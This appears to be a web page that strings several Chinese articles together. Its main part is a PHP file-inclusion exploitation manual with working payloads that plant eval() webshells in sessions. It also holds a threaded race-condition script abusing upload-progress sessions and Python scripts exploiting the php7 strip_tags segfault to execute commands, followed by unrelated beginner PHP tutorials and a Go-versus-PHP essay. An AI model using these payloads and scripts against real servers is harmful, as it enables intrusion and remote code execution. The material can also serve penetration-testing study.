php使用

PHP文件包含漏洞利用思路与Bypass总结手册(完结)

Bypass-Session限制

LFI-Base64Encode

很多时候服务器上存储的Session信息都是经过处理的(编码或加密),这个时候假如我们利用本地文件包含漏洞直接包含恶意session的时候是没有效果的。那么该怎么去绕过这个限制呢,一般做法是逆过程,既然他选择了编码或加密,我们就可以尝试着利用解码或解密的手段还原真实session,然后再去包含,这个时候就能够将恶意的session信息包含利用成功。

很多时候服务器上的session信息会由base64编码之后再进行存储,那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢?下面通过一个案例进行讲解与利用。

测试代码

session.php

常规利用

正常情况下我们会先传入恶意代码在服务器上存储恶意session文件

正常情况下我们会先传入恶意代码在服务器上存储恶意session文件

然后在利用文件包含漏洞去包含session

从包含结果可以看到我们包含的session被编码了,导致LFI -> session失败。

在不知道源代码的情况下,从编码上看可以判断是base64编码处理的

在这里可以用逆向思维想一下,他既然对我们传入的session进行了base64编码,那么我们是不是只要对其进行base64解码然后再包含不就可以了,这个时候php://filter就可以利用上了。

构造payload

index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

意外的事情发生了,你发现解码后包含的内容竟然是乱码!!这是为什么呢??

bypass serialize_handler=php

对于上面利用php://filter的base64解码功能进行解码包含出现了错误,还是不能够利用成功,回过头仔细想想会发现,session存储的一部分信息是用户名base64编码后的信息,然而我们对session进行base64解码的是整个session信息,也就是说编码和解码的因果关系不对,也就导致解码的结果是乱码。

那有没有什么办法可以让base64编码和解码的因果关系对照上,答案是有的,先来了解一下base64编码与解码的原理。

Base64编码与解码Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

(1)base64编码过程

Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。

由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。

完整的Base64定义可见RFC1421和RFC2045。因为Base64算法是将3个字节原数据编码为4个字节新数据,所以Base64编码后的数据比原始数据略长,为原来的4/3。

(2)简单编码流程

1)将所有字符转化为ASCII码;2)将ASCII码转化为8位二进制;3)将8位二进制3个归成一组(不足3个在后边补0)共24位,再拆分成4组,每组6位;4)将每组6位的二进制转为十进制;5)从Base64编码表获取十进制对应的Base64编码;

(3)base64解码过程

base64解码,即是base64编码的逆过程,如果理解了编码过程,解码过程也就容易理解。将base64编码数据根据编码表分别索引到编码值,然后每4个编码值一组组成一个24位的数据流,解码为3个字符。对于末尾位“=”的base64数据,最终取得的4字节数据,需要去掉“=”再进行转换。

(4)base64解码特点

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。下面编写一个简单的代码,测试一组数据看是否满足我们所说的情况。

测试代码探测base64_decode解码的特点

运行结果

从结果中可以看到一个字符串中,不管出现多少个特殊字符或者位置差异,都不会影响最终的结果,可以验证base64_decode是遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

Bypass base64_encode了解了base64编码原理之后和解码的特点,怎么让base64解码和编码的因果关系对照上,其实就很简单了,我们只要让session文件中base64编码的前面这一部分username|s:40:"正常解码就可以,怎么才能正常解码呢,需要满足base64解码的原理,就是4个字节能够还原原始的3个字节信息,也就是说session前面的这部分数据长度需要满足4的整数倍,如果不满足的话,就会影响session后面真正的base64编码的信息,也就导致上面出现的乱码情况。

Bypass分析判断正常情况下base64解码包含serialize_handler=php处理过的原始session信息,未能正常解析执行

username|s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl

依据base64编码和解码的特点进行分析,当session存储的信息中用户名编码后的长度为个位数时,username|s:1:"这部分数据长度为14,实际解码为usernames1,实际长度为10,不满足情况。

4组解码->缺少两个字节,后面需占两位(X 代表占位符)

username|s:1:" //原始未处理信息

user name s1XX //base64解码特点,去除特殊字符,填充两个字节'XX'

当session存储的信息中用户名编码后的长度为两位数时,username|s:11:"这部分数据长度为15,实际解码为usernames11,实际长度为11,不满足情况。

4组解码->缺少一个字节,后面需占一位

username|s:11:" //原始未处理信息

user name s11X //base64解码特点,去除特殊字符,填充一个字节'X'

当session存储的信息中用户名编码后的长度为三位数时,username|s:111:"

这部分数据长度为16,实际解码为usernames111,长度为12,满足情况。

4组解码->缺少零个字节,后面需占零位

username|s:11:" //原始未处理信息user name s111 //base64解码特点,去除特殊字符,填充0个字节'X'

这种情况下刚好满足,即使前面这部分数据正常解码后的结果是乱码,也不会影响后面恶意代码的正常解码。

构造可利用payload

构造payload传入恶意session

http://192.33.6.145/FI/session/session.phpPOST:username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>

构造payload包含恶意session

http://192.33.6.145/FI/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5plPOST:mtfq=phpinfo();

从相应结果中可以看到,在PHP默认的会话处理模式serialize_handler=php下,我们这次构造的payload成功解析了,达到了预期的目的。

bypass serialize_handler=php_serialize

在这里可能有人会想上面默认处理的是session.serialize_handler = php这种模式,那么针对session.serialize_handler = php_serialize这种处理方式呢,答案是一样的,只要能构造出相应的payload

满足恶意代码的正常解码就可以。

限制session包含的代码session.php

Bypass分析判断正常情况下base64解码包含serialize_handler=php_serialize处理过的原始session信息,未能正常解析执行

a:1:{s:8:"username";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";}?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s

依据base64编码和解码的特点进行分析,当session存储的信息中用户名编码后的长度为个位数时,a:1:{s:8:"username";s:1:"这部分数据长度为25,实际解码为a1s8usernames1,实际长度为14,不满足情况。

4组解码->缺少两个字节,后面需占两位(X 代表占位符)

a:1:{s:8:"username";s:1:" //原始未处理信息

a1s8 user name s1XX //base64解码特点,去除特殊字符,填充两个字节'XX'

当session存储的信息中用户名编码后的长度为两位数时,a:1:{s:8:"username";s:11:"

这部分数据长度为26,实际解码为a1s8usernames11,实际长度为15,不满足情况。

4组解码->缺少一个字节,后面需占一位

a:1:{s:8:"username";s:11:" //原始未处理信息a1s8 user name s11X //base64解码特点,去除特殊字符,填充一个字节'X'

当session存储的信息中用户名编码后的长度为三位数时,a:1:{s:8:"username";s:11:"

这部分数据长度为27,实际解码为``a1s8usernames111`,长度为16,满足情况。

4组解码->缺少零个字节,后面需占零位

a:1:{s:8:"username";s:111:" //原始未处理信息

a1s8 user name s111 //base64解码特点,去除特殊字符,填充0个字节'X'

这种情况下刚好满足,即使前面这部分数据正常解码后的结果是乱码,也不会影响后面恶意代码的正常解码。

构造可利用payload

构造payload传入恶意session

http://192.33.6.145/FI/session/session.phpPOST:username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>

构造payload包含恶意session

http://192.33.6.145/FI/session/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s

POST:mtfq=phpinfo();

从相应结果中可以看到,这种模式下session.serialize_handler = php_serialize,我们构造的payload也成功的解析了,同样达到了预期的目的。

LFI-session_start()

一般情况下,session_start()作为会话的开始出现在用户登录等地方以维持会话,但是,如果一个站点存在LFI漏洞,却没有用户会话那么该怎么去包含session信息呢,这个时候我们就要想想系统内部本身有没有什么地方可以直接帮助我们产生session并且一部分数据是用户可控的,很意外的是这种情况存在,下面分析一下怎么去利用。

phpinfo session

想要具体了解session信息就要熟悉session在系统中有哪些配置。默认情况下,session.use_strict_mode值是0,此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=Qftm,PHP将会在服务器上创建一个文件:/var/lib/php/sessions/sess_Qftm。

但这个技巧的实现要满足一个条件:服务器上需要已经初始化Session。在PHP中,通常初始化Session的操作是执行session_start()。所以我们在审计PHP代码的时候,会在一些公共文件或入口文件里看到上述代码。那么,如果一个网站没有执行这个初始化的操作,是不是就不能在服务器上创建文件了呢?很意外是可以的。下面看一下php.ini里面关键的几个配置项

session.auto_start:顾名思义,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的。

session.upload_progress.enabled = on:默认开启这个选项,表示upload_progress功能开始,PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

session.upload_progress.cleanup = on:默认开启这个选项,表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。

session.upload_progress.prefix = "upload_progress_":

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS":当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时(这部分数据用户可控),上传进度可以在SESSION中获得。当PHP检测到这种POST请求时,它会在SESSION中添加一组数据(系统自动初始化session), 索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。

session.upload_progress.freq = "1%"+session.upload_progress.min_freq = "1":选项控制了上传进度信息应该多久被重新计算一次。通过合理设置这两个选项的值,这个功能的开销几乎可以忽略不计。

session.upload_progress:php>=5.4添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。那么,如何利用这个特性呢?

查看官方给的案列

PHP_SESSION_UPLOAD_PROGRESS的官方手册

http://php.net/manual/zh/session.upload-progress.php

一个上传进度数组的结构的例子

<form action="upload.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /></form>

在session中存放的数据看上去是这样子的:

<?php$_SESSION["upload_progress_123"] = array("start_time" => 1234567890, // The request time "content_length" => 57343257, // POST content length "bytes_processed" => 453489, // Amount of bytes received and processed "done" => false, // true when the POST handler has finished, successfully or not "files" => array( 0 => array( "field_name" => "file1", // Name of the <input/> field // The following 3 elements equals those in $_FILES "name" => "foo.avi", "tmp_name" => "/tmp/phpxxxxxx", "error" => 0, "done" => true, // True when the POST handler has finished handling this file "start_time" => 1234567890, // When this file has started to be processed "bytes_processed" => 57343250, // Amount of bytes received and processed for this file ), // An other file, not finished uploading, in the same request 1 => array( "field_name" => "file2", "name" => "bar.avi", "tmp_name" => NULL, "error" => 0, "done" => false, "start_time" => 1234567899, "bytes_processed" => 54554, ), ));

Bypass思路分析

从官方的案例和结果可以看到session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=Qftm

(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=Qftm,所以Session文件将会自动创建。

事实上并不能完全的利用成功,因为session.upload_progress.cleanup = on

这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。

Bypass思路梳理

(1)upload file

files={'file': ('a.txt', "xxxxxxx")}

(2)设置cookie PHPSESSID

session.use_strict_mode=0造成Session ID可控PHPSESSID=Qftm

(3)POST一个字段PHP_SESSION_UPLOAD_PROGRESS

session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS",在session中可控,同时,触发系统初始化session

"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

(4)session.upload_progress.cleanup = on

多线程,时间竞争

Bypass攻击利用

脚本利用攻击(1)编写Exp

import ioimport sysimport requestsimport threadingsessid = 'Qftm'def POST(session):while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://192.33.6.145/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} )def READ(session): while True: response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}') # print('[+++]retry') # print(response.text) if 'flag' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0)with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)

(2)攻击效果

服务器生成:sess_Qftm

恶意代码执行

Getshell

表单利用攻击这里可以更改官方给的案例进行利用upload.html

<!doctype html><html><body><form action="http://192.33.6.145/index.php" method="post" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" vaule="<?php phpinfo(); ?>" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /></form></body></html>

但是同样需要注意的是,cleanup是on,所以需要条件竞争,使用BP抓包,一遍疯狂发包,一遍疯狂请求。

(1)上传文件

(2)发包传入恶意会话

设置Cookie: PHPSESSID=123456789

(自定义sessionID),不断发包,生成session,传入恶意会话

请求载荷设置Null payloads

不断发包维持恶意session的存储

不断发包的情况下,在服务器上可以看到传入的恶意session

(3)发包请求恶意会话

不断发出请求包含恶意的session

请求载荷设置

Null payloads

在一端不断发包维持恶意session存储的时候,另一端不断发包请求包含恶意的session

从结果中可以看到,利用表单攻击的这种手法也是可以的,可以看到恶意代码包含执行成功。

Bypass-phpinfo()

LFI-php7 Segment Fault

利用条件

利用条件:7.0.0 <= PHP Version < 7.0.28

漏洞分析

在上面包含姿势中提到的包含临时文件,需要知道phpinfo同时还需条件竞争,但如果没有phpinfo的存在,我们就很难利用上述方法去getshell。

那么如果目标不存在phpinfo,应该如何处理呢?这里可以用php7 segment fault特性(CVE-2018-14884)进行Bypass。

php代码中使用php://filter的过滤器strip_tags , 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不想phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

漏洞修复

PHP Version 7.0.28时已经修复该漏洞

攻击载荷

依据漏洞分析构造可利用的payload:

http://192.33.6.145/index.php?file=php://filter/string.strip_tags/resource=/etc/passwd

这种包含会导致php执行过程中出现segment fault,此时上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,不会被删除,这样就能达成getshell的目的。

代码环境

测试代码

漏洞利用

攻击载荷php segment fault

index.php?file=php://filter/string.strip_tags/resource=index.php

攻击利用-技巧1编写Exp

dir.php辅助查找生成的临时文件

Linux攻击环境

#python version 2.7import requestsfrom io import BytesIOimport refiles = {'file': BytesIO('<?php eval($_REQUEST[Qftm]);')}url1 = 'http://192.168.68.119/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)url2 = 'http://192.168.68.119/dir.php?dir=/tmp/'r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"url3='http://192.168.68.119/index.php?file=/tmp/'+datadata = {'Qftm':"system('whoami');"}r = requests.post(url=url3,data=data)print r.content

windows攻击环境

#python version 2.7import requestsfrom io import BytesIOimport refiles = {'file': BytesIO('<?php eval($_REQUEST[Qftm]);')}url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)url2 = 'http://192.168.68.119/web/fi/dir.php?dir=C:/Windows/'r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"url3='http://192.168.68.119/web/fi/index.php?file=C:/Windows/'+data+'.tmp'data = {'Qftm':"system('whoami');"}r = requests.post(url=url3,data=data)print r.content

运行脚本即可Getshell

然后查看服务器上恶意临时文件,确实存在未被删除!!

攻击利用-技巧2暴力破解

假如没有dir.php还能利用吗,答案是可以的,因为我们传入的恶意文件没有被删除,这样我们就可以爆破这个文件的文件名。

在上面的讲述中,我们知道不同的系统默认的临时文件存储路径和方式都不一样

Linux

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])

windows

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

对比Linux和Windows来看,Windows需要破解的位数比Linux少,从而Windows会比Linux破解速度快,位数越长所需要耗费的时间就越大。

查看载荷攻击效果

#python version 2.7import requestsfrom io import BytesIOfiles = {'file': BytesIO('<?php eval($_REQUEST[Qftm]);')}url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)########################暴力破解模块########################url2='http://192.168.68.119/web/fi/index.php?file=C:/Windows/php'+{fuzz}+'.tmp&Qftm=system('whoami');'data = fuzzprint "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"########################暴力破解模块########################

对于暴力破解模块,可以自己添加多线程模块进行暴力破解,也可以将暴力破解模块拿出来单独进行fuzz,推荐使用fuzz工具进行fuzz测试,fuzz工具一般都包含多线程、自定义字典等,使用起来很方便,不用花费时间去编写调试代码。

个人比较喜欢使用Fuzz大法,不管是目录扫描、后台扫描、Web漏洞模糊测试都是非常灵活的。

推荐几款好用的Fuzz工具

基于Go开发:gobuster https://github.com/OJ/gobuster基于Java开发:dirbuster OWASP杰出工具 kali自带基于Python开发:wfuzz https://github.com/xmendez/wfuzz

fuzz测试,配置参数,我这里使用的是Kali自带的 dirbuster进行模糊测试

参数设置好之后,开始进行测试

经过一段时间的破解,即可得到上传的临时文件的文件名,同时可以在响应包中看到后门文件的恶意代码也正常解析执行。

字典项目

分享一些文件包含、任意文件读取漏洞中常见的文件字典,使用字典结合burp可以方便的探索目标服务器上的敏感文件。

https://github.com/Team-Firebugs/Burp-LFI-testshttps://github.com/ev0A/ArbitraryFileReadListhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders

防御方案

文件权限的的管理尽量不使用动态包含对危险字符进行过滤配置open_basedir限制文件包含范围检查include类的文件包含函数中的参数是否外界可控设当设置allow_url_include=Off和allow_url_fopen=Off在发布应用程序之前测试所有已知的威胁关联文章:

PHP文件包含漏洞利用思路与Bypass总结手册(一)

PHP文件包含漏洞利用思路与Bypass总结手册(二)

PHP文件包含漏洞利用思路与Bypass总结手册(三)

渗透测试训练营

掌握渗透测试岗位9大核心知识体系,提升自身岗位竞争力

40+实战训练及考核,提升动手操作能力

胜任渗透测试工程师岗位功能能力

展开
收起

php学习之php的预定义常量的使用

说明:常量一旦定义,里面的值和常量是不能改变和销毁的,而且常量名不能重复

1.常量的定义:

语法:define(常量名,常量值);不能定义复合数据

5.xphp版本:const来定义复合的数据,如数组7.0 php版本:define可以定义复合的数据.如:define(ARR,[1,2,3,4,5]);

2访问常量

说明:直接使用常量名就可以了.。如:echo NAME;

常量的使用:网站的配置文件中使用。如:当前网站路径

3.魔术常量—预定义常量

__LINE__:文件中的当前行号__FILE__:文件的完整路径和文件名,如果用在被包含的文件中,则返回被办好的文件名,自php4.0.2起,__FILE__总是包含一个绝对路径.如果是符号连接,则是解析后的绝对路径,而在此前的版本有时会包含一个相对路径__DIR__:文件所在目录。如果用在被包括文件中,则返回被包括的文件所在目录,它等价于dimame(__FILE__)除非是i根目录。赋值目录中名不包括末尾斜杠__FUNCTION__:函数名称,php4.3.0新增,php5起本常量返回该函数被定义时的名字(区分大小写)在php4中该值总是小写__CLASS__:类的名称__TRAIT__:trait的名称__METHOD__:类的方法名__NAMESPACE__:当前命名空间的名称mvc:URL传递数据:index.php:c=getuser&a=xxxx&m=index

产生随机数的函数:rand()

说明:rand:产生一个随机整数

intrand(void)

int rand(int $min, int $max)

<?php/*** @Author: admin* @Date: 2018-08-12 22:56:43* @Last Modified by: admin* @Last Modified time: 2018-08-12 23:39:54*///常量的定义define('NAME','张三');define('PI',3.14);echo NAME,PI;const USER='admin';echo USER;//__CLASS__:获取当前类名class getuser{function index(){include './xx/index.html';}function add(){include './xxx/index.html';}}//rand()随机函数$num=rand(1,100);//随机生成1-100的整数echo $num;

题:

变量处理常用的函数有哪些? 举例说出至少四个,并各举一个案例说明unset如何在函数内部就销毁一个全局变量,请使用的代码来说明如何销毁PHP基本数据类型的值传递和引用传递的区别是什么,请画出对应的内存示意图一个页面server.php,并输出至少5个$_SERVER内的元素信息,并说明是什么含义,页面表现形式如下:元素名称 使用形式 结果 含义

PHP_SELF $_SERVER[‘PHP_SELF’] /test/$_SERVER.php 表示本网页路径

参考:PHP手册〉语言参考〉预定义变量〉$_SERVER

5.写一个表单,用来填写“用户信息”,要求出现所有的表单元素类型(除文件类型):

文本框,密码框,单选,复选,下拉,多行文本域,隐藏域

提交后显示用户所填写的所有数据。复选框的问题:都一个name值,复选框name是一个,问:怎么实现获取多个选项的值

答案:

1.变量常用的函数:

isset():案例:$user=isset($_GET[‘user’])?$_GET[‘user’]:”;//判断是否存在

unset():案例:$a=1; unset($a);//销毁变量a

empty():案例:$a=1;if(empty($a)){echo “存在”};//判断是否为空

echo:案例:$a=1;echo $a;//打印a

var_dump():案例:$a=1; var_dump($a);//打印a

2.用unset销毁在函数中的全局变量

//只销毁局部变量$a=1;function demo(){global $a;//把全局变量局部声明echo $a;unset($a);//销毁变量aecho $a;}demo();//变量a被销毁echo $a;//a的值存在正常打印//销毁全局变量function un(){global $a;//声明局部变量 unset($GLOBALS['a']); //echo $a;}un();echo $a;//a的值没有了

3.值传递和引用传递的区别

值传递,传递过去的是数值,

引用传递,传递的是地址值

4.新建一个server.php

<?php/*** @Author: admin* @Date: 2018-08-13 00:03:26* @Last Modified by: admin* @Last Modified time: 2018-08-13 01:13:03*/$arrayName = array('REQUEST_URI','SCRIPT_NAME','PHP_SELF','SERVER_ADMIN','SCRIPT_FILENAME');$arr2=array('URI 用来指定要访问的页面','包含当前脚本的路径','当前执行脚本的文件名',' Apache 服务器配置','当前执行脚本的绝对路径');echo "<table border=1>";echo '<tr>';echo '<th>元素名称</th><th>使用形式</th><th>结果</th><th>含义</th>';echo '</tr>';foreach ($arrayName as $key => $value) {echo '<tr>';echo '<td>'.$value.'</td>';echo "<td>\$_SERVER['$value']</td>";echo "<td>".$_SERVER[$value]."</td>";echo '<td>'.$arr2[$key].'</td>';echo '</tr>';}echo '</table>';

5.答案

展开
收起

PHP中&符号的神秘用处

官方说明:

在 PHP 中引用意味着用不同的名字访问同一个变量内容。这并不像 C 的指针:例如你不能对他们做指针运算,他们并不是实际的内存地址。替代的是,引用是符号表别名。注意在PHP 中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身——变量名是目录条目,而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的硬链接。

&:表示引用,在变量或者函数、对象等前面加上该符号

&符号使用场景

变量引用

引用允许用两个变量来指向同一个内容

变量引用

函数引用传递(传址调用)

可以将一个变量通过引用传递给函数,这样该函数就可以修改其参数的值

函数引用传递

函数引用返回

引用返回用在当想用函数找到引用应该被绑定在哪一个变量上面时。不要用返回引用来增加性能,引擎足够聪明来自己进行优化。仅在有合理的技术原因时才返回引用!

函数引用返回

对象引用

在PHP5以上,对象的 = 赋值和传递都是引用。要想实现拷贝副本,需要通过clone函数进行处理。

PHP中对象的深拷贝,指的是拷贝对象副本,也就是用clone函数拷贝出一个完全一样的对象,修改该对象,并不会影响原始对象;

PHP中对象的浅拷贝,指的是对象进行引用赋值,其中一个改变,另一个也随之改变。

对象引用

引用取消

使用unset(),unset 一个引用,只是断开了变量名和变量内容之间的绑定。(这并不意味着变量内容被销毁了)

展开
收起

php学习之php的运算符的使用

表达式:表达式是php最重要的基石,在php 中。几乎所写的任何东西都是一个表达式,简单但却最精确的定义一个表达式的方式就是任何有值的东西。如$a=1;

运算符分类

运算符优先级算术运算符赋值运算符位运算符比较运算符错误控制运算符执行运算符递增递减运算符逻辑运算符字符串运算符数组运算符类型运算符

1算术运算符

算术运算符包括:加(+)、减(-)、乘(*)、除(/)、求余(求模)(%)

<?php//加法运算符$a =1;$b =2;echo "a与b的和为:";echo $a + $b ;//减法运算符echo "<br>a与b的差为: ";echo $a - $b;//乘法运算符echo "<br>a与b的积为: ";echo $a * $b ;//除法运算符echo "<br>a与b的商为: ";echo $a / $b;//求余数echo "<br>a与b求余为: ";echo $a % $b ;?>

注意:

1.当运行算术运算符时,字符串类型的会自动转换为0进行和数字运算,比如:$a=1 $b=’b’,那么在运行算术运算符时,$b的值自动转换为0,$a+$b=1+0=1

案例:

2.赋值运算符:

赋值运算符:= 就是把某个值赋给某个变量

语法:$a=1;

赋值一般说的是把等号后面的值赋值给前面的变量,可以多次赋值,$a=$b=1;

3.比较运算符

==:等于,比较的是值,只要值相等结果就是等于===:全等,比较的时类型和值,只有两个都相等才相等!=:不等于:类型转换后两个值不相等,返回为true!==:不全等:两个值不相等或他们的类型不同>:大于,<:小于>=:大于等于<=:小于等于

<?php//比较运算符$a=1;$b=1;$c='1';if($a===$b){echo "全等";}elseif($a==$b){echo "相等";}else{echo "不相等";}echo "<br>";if($a===$c){echo "全等";}elseif($a==$c){echo "相等";}else{echo "不相等";?>

4.错误抑制符:@

说明:屏蔽一些不重要的错误,不影响当前页面的脚本运行

<?php$con =@mysql_connect('localhost','root','');if($con){echo '连接成功';}?>

5.字符串运算符:.或者.=

说明:字符串连接符(拼接),把两个或多个字符串进行连接

<?php$str1='公众号';$str2='吾爱乐享';$str3=$str1.$str2;echo $str3;?>

7逻辑运算符:== —

说明:当前的操作数会自动加1或者减1

如果一个操作数,不给赋值,++$a和$a++是一样的。

前加:++$a;先加1在赋值。后加:$a++;先赋值在加1.

<?php$a=1;$b=1;$b++;++$a;echo $a,$b;//结果为2.自身变量操作++$a和$a++结果是一样的$c=++$a;echo $c,$a;//结果a=3.c=3两个变量操作,++$a和$a++结果不一样$d=$b++;echo $d,$b;//结果b=2,d=3?>

//利用自增,实现循环遍历for($n=0;$n<=10;$n++){echo '<br>a'; echo $n;}echo '</br>-----------------';//利用自增,实现外部变量循环遍历$z='a';for($i=0;$i<=10;$i++){$z++;echo $z;}

未经允许不得转载

展开
收起

作为多年 PHP 的开发者,在使用了 Go 语言之后……

Go 是一种功能强大的编程语言,具有独特的功能组合。而 PHP 是在服务器端执行的脚本语言,与 C 语言类似,是常用的网站编程语言,同时适用于所有微服务、小型、中型乃至大型应用程序。对于开发者而言,两者在使用过程中,有哪些不同的体验?本文即将为大家揭晓。

作者 | Dan Gurgui

译者 | 弯月,责编 | 屠敏

16岁的时候,我发现了PHP。这是我学习的第一门编程语言。当时,我利用PHP来检查用户提交的表单并发送电子邮件,大多数表单都是“联系我们”。多年以来,我始终将PHP作为我的强项,且坚持不懈地发展壮大自己的PHP知识和技能。虽然我觉得自己算不上PHP高手,但这是我最了解的编程语言。以前,我曾有机会在小型项目中使用Ruby、Java、Python和NodeJS。我通过这些经验比较PHP和其他编程语言,了解如何更好地利用PHP的优点并克服它的缺点。

6个月前,我成为了 MessageBird 的一名工程师。申请工作的时候,我填写了PHP,但是我没想到入职后我就开始使用 GoLang,而且与PHP渐行渐远。这种一次很好的经历,在这段时间里,我学习了一种新的编程语言,而如今我又回到了PHP,同时我还拥有6个月的Go编程经验。

Go是一种功能强大的编程语言,具有独特的功能组合。我很遗憾没能更深入地学习Go。我返回PHP的原因与编程语言本身无关,但是,我想总结一下这6个月的经验,并比较一下这两种语言。

静态与动态

GoLang是一种静态编程语言,不像PHP那样是动态的。因此,你需要在初始化变量和对象时提前想清楚。在PHP中,你永远不会初始化变量,需要时当场使用就可以了。因此,在声明一个新变量之前,对于GoLang而言你需要三思而后行,我发现这比在PHP中检查变量的做法更有效率。PHP 7添加了类型声明,这是一个更好的实践,但是在编写代码之前三思而后行是一种更健康的做法。

子程序与并行处理

GoLang 非常神奇的功能之一就是goroutine。这个功能支持异步运行功能。PHP中没有任何功能与Goroutines的简单性和易用性相提并论。每当需要在PHP中进行并行处理时,你都需要添加外部的排队机制(Beanstalk、RabbitMQ等)。这会加剧基础架构的复杂性,并增加项目的复杂性。

GoLang的并行处理远远超越了PHP。

面向对象功能

自从编程问世以来,面向对象的概念一直拥有一席之地。90年代,面向对象在C++中得到了广泛应用,也因此成为了主流范式。面向对象最吸引我的地方在于,它允许工程师使用代码创建业务逻辑图,事实证明,当不断发展的系统发生变化时,这种做法提供的价值无可限量。PHP和GoLang都提供面向对象的功能,但是,这两种语言之间存在很大差异。

我花了很长时间才习惯了隐式接口。在GoLang中,在实现所有方法后,类型就会满足接口要求。但在PHP中,你需要显式地定义类型所需的接口,然后开始实现。有了Go的这一功能,你不需要提前思考应用程序的接口,这一点与我对静态类型语言的认知正好相反。

